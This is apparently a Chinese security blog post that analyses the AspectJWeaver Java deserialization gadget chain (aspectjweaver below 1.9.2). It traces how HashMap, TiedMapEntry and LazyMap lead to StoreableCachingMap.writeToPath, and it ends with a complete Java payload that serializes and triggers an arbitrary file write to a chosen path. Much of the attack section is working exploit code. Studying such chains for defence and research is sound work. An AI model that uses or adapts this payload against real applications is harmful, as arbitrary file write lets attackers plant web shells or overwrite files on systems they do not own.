AspectJWeaver 利用链分析 利用链如下:
1 2 3 4 5 6 7 8 9 10 Gadget chain: HashSet.readObject() HashMap.put () HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get () SimpleCache$StorableCachingMap.put () SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write ()
该利用链利用条件需要org.aspectj:aspectjweaver在1.9.2版本以下。触发点在SimpleCache$StorableCachingMap。这里我创建的是maven项目在pom.xml中添加:
1 2 3 4 5 <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjweaver</artifactId > <version > 1.9.2</version > </dependency >
在org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap类中我们可以看到该类为一个私有类,切继承HashMap,在该类中重写了父类的put方法。
该类在重写的put方法中调用了一个writeToPath方法,而这个利用链就是通过这个方法进行的文件写入。
在该方法中利用FileOutputStream写入文件,writeToPath接收的两个参数key为文件的路径,valueBytes则是写入到文件的内容。
到这里思路就明确了。触发点在put函数,并且该类继承自HashMap,直接利用lazymap+TiedMapEntry去触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ........ for (int i = 0 ; i < mappings; i++) { @SuppressWarnings ("unchecked" ) K key = (K) s.readObject(); @SuppressWarnings ("unchecked" ) V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
利用链序列化后的内容为一个HashMap,在反序列化的时候调用HashMap.readObject(),在这里调用hash(key)而key为TiedMapEntry从而调用TiedMapEntry.hashCode()
这里调用了getValue()函数,跟进getValue()函数,进一步调用了this.map.get(this.key);方法。
而TiedMapEntry中存放的map为lazymap,key就是传入的path,在lazymap.get(key)中调用了this.map.put(key)方法。此时的map为我们构造的StoreableCachingMap,而获取的value值为this.factory.transform(key); 也就是一开始我们通过new ConstantTransformer(content)传入的内容。ConstantTransformer设置了this.iConstant的变量,而这里的this.factory.transform(key)就是获取this.iConstant的值。
从而调用了StoreableCachingMap.put(path, content) –> this.writeToPath(path, content) 从而写入文件。
这里我直接用了HashMap去操作,修改值的时候需要便利,ysoserial 中给的是使用HashSet.readObject去操作,原理都一样就是HashSet方便直接修改HashMap的值,而我这里需要遍历修改。
Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 byte [] content = Base64.decode("YWhpaGloaQ==" ); String path = "/tmp/1.txt" ; Class aspectJWeaver = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor ctor = aspectJWeaver.getDeclaredConstructor(String.class, int .class); ctor.setAccessible(true ); Object obj = ctor.newInstance("" ,2 ); Transformer transformer = new ConstantTransformer(content); Map lazyMap = LazyMap.decorate((Map)obj, transformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, path); HashMap hashMap = new HashMap(); hashMap.put("foo" , "a" ); Field field = HashMap.class.getDeclaredField("table" ); field.setAccessible(true ); Object[] array = (Object[]) field.get(hashMap); int a = 0 ; for (int i=0 ;i<array.length;i++) if (array[i]!=null ) a=i; Object node = array[a]; Field keyField = node.getClass().getDeclaredField("key" ); keyField.setAccessible(true ); keyField.set(node, entry); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(hashMap); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); ois.readObject();
总结 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ___ key: TiedMapEntry HashMap---| |___ value: (int ) ___ key: lazymap TiedMapEntry---| |___ value: "/tmp/123.txt" ___ key: StoreableCachingMap lazymap---| |___ value: new ConstantTransformer("123" ) StoreableCachingMap.put("/tmp/123.txt" ,"123" ) this .writeToPath("/tmp/123.txt" ,"123" .getBytes())FileOutputStream()
赞赏
感谢鼓励